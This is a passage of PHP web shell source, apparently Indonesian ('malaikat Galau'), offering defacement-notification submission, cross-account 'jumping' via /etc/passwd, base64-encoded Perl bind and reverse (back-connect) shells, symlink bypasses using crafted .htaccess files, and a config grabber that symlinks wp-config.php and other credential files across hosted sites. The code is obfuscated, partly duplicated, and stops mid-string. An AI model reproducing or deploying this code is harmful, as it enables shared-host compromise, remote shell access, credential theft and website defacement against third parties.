  820.             if(preg_match("/color=\"lime\">OK<\/font><\/li>/i", $zoneh)) {
  821.                 echo "$url -> <font>OK</font><br>";
  822.             } else {
  823.                 echo "$url -> <font color=lime>ERROR</font><br>";
  824.             }
  825.         }
  826.     } else {
  827.         echo "<center><form method='post'>
  828.         <u>Defacer</u>: <br>
  829.         <input type='text' name='nick' size='50' value='malaikat Galau'><br>
  830.         <u>Domains</u>: <br>
  831.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  832.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  833.         </form>";
  834.     }
  835.     echo "</center>";
  836. }
  837. elseif($_GET['kntd'] == 'defid') {
  838. echo "<center><form method='post'>
  839.         <u>Defacer</u>: <br>
  840.         <input type='text' name='hekel' size='50' value='malaikat Galau'><br>
  841.         <u>Team</u>: <br>
  842.         <input type='text' name='tim' size='50' value='Malaikat Galau'><br>
  843.         <u>Domains</u>: <br>
  844.         <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  845.         <input type='submit' name='go' value='Submit' style='width: 450px;'>
  846.         </form>";
  847. $site = explode("\r\n", $_POST['sites']);
  848. $go = $_POST['go'];
  849. $hekel = $_POST['hekel'];
  850. $tim = $_POST['tim'];
  851. if($go) {
  852. foreach($site as $sites) {
  853. $zh = $sites;
  854. $form_url = "https://www.defacer.id/notify";
  855. $data_to_post = array();
  856. $data_to_post['attacker'] = "$hekel";
  857. $data_to_post['team'] = "$tim";
  858. $data_to_post['poc'] = 'SQL Injection';
  859. $data_to_post['url'] = "$zh";
  860. $curl = curl_init();
  861. curl_setopt($curl,CURLOPT_URL, $form_url);
  862. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  863. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  864. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  865. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  866. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  867. $result = curl_exec($curl);
  868. echo $result;
  869. curl_close($curl);
  870. echo "<br>";
  871. }
  872. }
  873. }elseif($_GET['kntd'] == 'jumping') {
  874.     $i = 0;
  875.     echo "<div class='margin: 5px auto;'>";
  876.     if(preg_match("/hsphere/", $dir)) {
  877.         $urls = explode("\r\n", $_POST['url']);
  878.         if(isset($_POST['jump'])) {
  879.             echo "<pre>";
  880.             foreach($urls as $url) {
  881.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  882.                 $etc = "/etc/passwd";
  883.                 $f = fopen($etc,"r");
  884.                 while($gets = fgets($f)) {
  885.                     $pecah = explode(":", $gets);
  886.                     $user = $pecah[0];
  887.                     $dir_user = "/hsphere/local/home/$user";
  888.                     if(is_dir($dir_user) === true) {
  889.                         $url_user = $dir_user."/".$url;
  890.                         if(is_readable($url_user)) {
  891.                             $i++;
  892.                             $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  893.                             if(is_writable($url_user)) {
  894.                                 $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  895.                             }
  896.                             echo $jrw."<br>";
  897.                         }
  898.                     }
  899.                 }
  900.             }
  901.         if($i == 0) {
  902.         } else {
  903.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  904.         }
  905.         echo "</pre>";
  906.         } else {
  907.             echo '<center>
  908.                   <form method="post">
  909.                   List Domains: <br>
  910.                   <textarea name="url" style="width: 500px; height: 250px;">';
  911.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  912.             while($getss = fgets($fp)) {
  913.                 echo $getss;
  914.             }
  915.             echo  '</textarea><br>
  916.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  917.                   </form></center>';
  918.         }
  919.     } elseif(preg_match("/vhosts/", $dir)) {
  920.         $urls = explode("\r\n", $_POST['url']);
  921.         if(isset($_POST['jump'])) {
  922.             echo "<pre>";
  923.             foreach($urls as $url) {
  924.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  925.                 if(is_dir($web_vh) === true) {
  926.                     if(is_readable($web_vh)) {
  927.                         $i++;
  928.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  929.                         if(is_writable($web_vh)) {
  930.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  931.                         }
  932.                         echo $jrw."<br>";
  933.                     }
  934.                 }
  935.             }
  936.         if($i == 0) {
  937.         } else {
  938.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  939.         }
  940.         echo "</pre>";
  941.         } else {
  942.             echo '<center>
  943.                   <form method="post">
  944.                   List Domains: <br>
  945.                   <textarea name="url" style="width: 500px; height: 250px;">';
  946.                   bing("ip:$ip");
  947.             echo  '</textarea><br>
  948.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  949.                   </form></center>';
  950.         }
  951.     } else {
  952.         echo "<pre>";
  953.         $etc = fopen("/etc/passwd", "r") or die("<font color=lime>Can't read /etc/passwd</font>");
  954.         while($passwd = fgets($etc)) {
  955.             if($passwd == '' || !$etc) {
  956.                 echo "<font color=lime>Can't read /etc/passwd</font>";
  957.             } else {
  958.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  959.                 foreach($user_jumping[1] as $myuser_jump) {
  960.                     $user_jumping_dir = "/home/$myuser_jump/public_html";
  961.                     if(is_readable($user_jumping_dir)) {
  962.                         $i++;
  963.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  964.                         if(is_writable($user_jumping_dir)) {
  965.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  966.                         }
  967.                         echo $jrw;
  968.                         if(function_exists('posix_getpwuid')) {
  969.                             $domain_jump = file_get_contents("/etc/named.conf");   
  970.                             if($domain_jump == '') {
  971.                                 echo " => ( <font color=lime>gabisa ambil nama domain nya</font> )<br>";
  972.                             } else {
  973.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  974.                                 foreach($domains_jump[1] as $dj) {
  975.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  976.                                     $user_jumping_url = $user_jumping_url['name'];
  977.                                     if($user_jumping_url == $myuser_jump) {
  978.                                         echo " => ( <u>$dj</u> )<br>";
  979.                                         break;
  980.                                     }
  981.                                 }
  982.                             }
  983.                         } else {
  984.                             echo "<br>";
  985.                         }
  986.                     }
  987.                 }
  988.             }
  989.         }
  990.         if($i == 0) {
  991.         } else {
  992.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  993.         }
  994.         echo "</pre>";
  995.     }
  996.     echo "</div>";
  997. }elseif($_GET['kntd'] == 'network') {
  998.     echo "<form method='post'>
  999.     <u>Bind Port:</u> <br>
  1000.     PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
  1001.     <input type='submit' name='sub_bp' value='>>'>
  1002.     </form>
  1003.     <form method='post'>
  1004.     <u>Back Connect:</u> <br>
  1005.     Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>&nbsp;&nbsp;
  1006.     PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
  1007.     <input type='submit' name='sub_bc' value='>>'>
  1008.     </form>";
  1009.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1010.     if(isset($_POST['sub_bp'])) {
  1011.         $f_bp = fopen("/tmp/bp.pl", "w");
  1012.         fwrite($f_bp, base64_decode($bind_port_p));
  1013.         fclose($f_bp);
  1014.  
  1015.         $port = $_POST['port_bind'];
  1016.         $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  1017.         sleep(1);
  1018.         echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  1019.         unlink("/tmp/bp.pl");
  1020.     }
  1021.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1022.     if(isset($_POST['sub_bc'])) {
  1023.         $f_bc = fopen("/tmp/bc.pl", "w");
  1024.         fwrite($f_bc, base64_decode($bind_connect_p));
  1025.         fclose($f_bc);
  1026.  
  1027.         $ipbc = $_POST['ip_bc'];
  1028.         $port = $_POST['port_bc'];
  1029.         $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  1030.         sleep(1);
  1031.         echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  1032.         unlink("/tmp/bc.pl");
  1033.     }
  1034. }elseif($_GET['kntd'] == 'jumping') {
  1035.     $i = 0;
  1036.     echo "<div class='margin: 5px auto;'>";
  1037.     if(preg_match("/hsphere/", $dir)) {
  1038.         $urls = explode("\r\n", $_POST['url']);
  1039.         if(isset($_POST['jump'])) {
  1040.             echo "<pre>";
  1041.             foreach($urls as $url) {
  1042.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  1043.                 $etc = "/etc/passwd";
  1044.                 $f = fopen($etc,"r");
  1045.                 while($gets = fgets($f)) {
  1046.                     $pecah = explode(":", $gets);
  1047.                     $user = $pecah[0];
  1048.                     $dir_user = "/hsphere/local/home/$user";
  1049.                     if(is_dir($dir_user) === true) {
  1050.                         $url_user = $dir_user."/".$url;
  1051.                         if(is_readable($url_user)) {
  1052.                             $i++;
  1053.                             $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  1054.                             if(is_writable($url_user)) {
  1055.                                 $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  1056.                             }
  1057.                             echo $jrw."<br>";
  1058.                         }
  1059.                     }
  1060.                 }
  1061.             }
  1062.         if($i == 0) {
  1063.         } else {
  1064.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  1065.         }
  1066.         echo "</pre>";
  1067.         } else {
  1068.             echo '<center>
  1069.                   <form method="post">
  1070.                   List Domains: <br>
  1071.                   <textarea name="url" style="width: 500px; height: 250px;">';
  1072.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  1073.             while($getss = fgets($fp)) {
  1074.                 echo $getss;
  1075.             }
  1076.             echo  '</textarea><br>
  1077.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  1078.                   </form></center>';
  1079.         }
  1080.     } elseif(preg_match("/vhosts/", $dir)) {
  1081.         $urls = explode("\r\n", $_POST['url']);
  1082.         if(isset($_POST['jump'])) {
  1083.             echo "<pre>";
  1084.             foreach($urls as $url) {
  1085.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  1086.                 if(is_dir($web_vh) === true) {
  1087.                     if(is_readable($web_vh)) {
  1088.                         $i++;
  1089.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  1090.                         if(is_writable($web_vh)) {
  1091.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  1092.                         }
  1093.                         echo $jrw."<br>";
  1094.                     }
  1095.                 }
  1096.             }
  1097.         if($i == 0) {
  1098.         } else {
  1099.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  1100.         }
  1101.         echo "</pre>";
  1102.         } else {
  1103.             echo '<center>
  1104.                   <form method="post">
  1105.                   List Domains: <br>
  1106.                   <textarea name="url" style="width: 500px; height: 250px;">';
  1107.                   bing("ip:$ip");
  1108.             echo  '</textarea><br>
  1109.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  1110.                   </form></center>';
  1111.         }
  1112.     } else {
  1113.         echo "<pre>";
  1114.         $etc = fopen("/etc/passwd", "r") or die("<font color=lime>Can't read /etc/passwd</font>");
  1115.         while($passwd = fgets($etc)) {
  1116.             if($passwd == '' || !$etc) {
  1117.                 echo "<font color=lime>Can't read /etc/passwd</font>";
  1118.             } else {
  1119.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1120.                 foreach($user_jumping[1] as $myuser_jump) {
  1121.                     $user_jumping_dir = "/home/$myuser_jump/public_html";
  1122.                     if(is_readable($user_jumping_dir)) {
  1123.                         $i++;
  1124.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  1125.                         if(is_writable($user_jumping_dir)) {
  1126.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  1127.                         }
  1128.                         echo $jrw;
  1129.                         if(function_exists('posix_getpwuid')) {
  1130.                             $domain_jump = file_get_contents("/etc/named.conf");   
  1131.                             if($domain_jump == '') {
  1132.                                 echo " => ( <font color=lime>gabisa ambil nama domain nya</font> )<br>";
  1133.                             } else {
  1134.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1135.                                 foreach($domains_jump[1] as $dj) {
  1136.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1137.                                     $user_jumping_url = $user_jumping_url['name'];
  1138.                                     if($user_jumping_url == $myuser_jump) {
  1139.                                         echo " => ( <u>$dj</u> )<br>";
  1140.                                         break;
  1141.                                     }
  1142.                                 }
  1143.                             }
  1144.                         } else {
  1145.                             echo "<br>";
  1146.                         }
  1147.                     }
  1148.                 }
  1149.             }
  1150.         }
  1151.         if($i == 0) {
  1152.         } else {
  1153.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  1154.         }
  1155.         echo "</pre>";
  1156.     }
  1157.     echo "</div>";
  1158. }elseif($_GET['kntd'] == 'vhost') {
  1159.     echo "<form method='POST' action=''>";
  1160.     echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
  1161.     echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
  1162.         if (isset($_POST['Colii'])){ system('ln -s / Rintoar.txt');
  1163.             $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
  1164.             $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","Rintoar.txt");
  1165.             $rt="<br><a href=Rintoar.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
  1166.     Bypassed Successfully</b></font></a>";
  1167.     echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt</center>";} echo "</form>";
  1168. }elseif($_GET['kntd'] == 'vhostgrab') {
  1169.     ?>     
  1170. <form method="post">
  1171. <input type="submit" name="vhostgrab" value="Vhost Config Grabber">
  1172. </form>
  1173. <?php
  1174. if (isset($_POST['vhostgrab']))
  1175. {
  1176. @mkdir('noname_vhost', 0755);
  1177. @chdir('noname_vhost');
  1178.         $elesem = ".htaccess";
  1179.         $elakab = "$elesem";
  1180.         $filhat = fopen ($elakab , 'w') or die ("Can't Write htaccess !");
  1181.         $htcont = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1182.  
  1183. AddType application/x-httpd-cgi .cin
  1184.  
  1185. AddHandler cgi-script .cin
  1186. AddHandler cgi-script .cin";  
  1187.         fwrite ( $filhat , $htcont ) ;
  1188.         fclose ($filhat);
  1189. $xaivhost = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxubiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT4uOlByaXY4IHZob3N0cyBDb25maWcgR3JhYmJlciB2MC4xOi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiB1YnVudHU7DQogZm9udC1zaXplOiB4LWxhcmdlOw0KIGNvbG9yOiB3aGl0ZTsNCiBiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCg0KDQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPi46IENvZGVkIGJ5IEZhbGxhZyBHYXNzcmluaSBSZWNvZGVkIEJ5IGVYZVVzZXIgOi48L3A+DQo8cD5rcmVvbnJpbnRvQGdtYWlsLmNvbTwvcD4NCjxwPmh0dHA6Ly9mYi5jb20vcmludG8yMjM0PC9wPic7DQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9IDA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYucGhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJHNpdGVzcy4nLWlicHJvYXJjYWR